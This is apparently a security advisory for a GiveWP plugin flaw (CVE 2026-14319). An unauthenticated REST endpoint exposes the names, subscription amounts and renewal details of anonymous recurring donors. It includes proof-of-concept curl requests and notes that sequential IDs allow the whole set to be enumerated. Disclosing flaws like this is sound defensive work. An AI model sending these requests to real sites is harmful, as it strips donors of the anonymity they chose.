GiveWP < 4.16.3 – Unauthenticated Recurring Donor Information Disclosure | CVE 2026-14319

Description

The plugin does not properly restrict access to a REST API endpoint that returns recurring-donation records, allowing unauthenticated users to retrieve information about anonymous recurring donors, including their name and subscription details.

Proof of Concept

With at least one anonymous recurring/subscription record present (e.g. via the Recurring Donations add-on or the subscriptions importer):

curl -s 'https://TARGET/wp-json/givewp/v3/subscriptions/2'
# => HTTP 200, returns the anonymous donor's first name, recurring amount/currency/period,
#    status, next renewal date, projected annual revenue, donor id, and campaign/form.

# By contrast the donor endpoint correctly hides the same anonymous donor:
curl -s 'https://TARGET/wp-json/givewp/v3/donors/2'
# => HTTP 404 donor_not_found

# Subscription IDs are sequential, so incrementing the id walks the full anonymous recurring-donor set.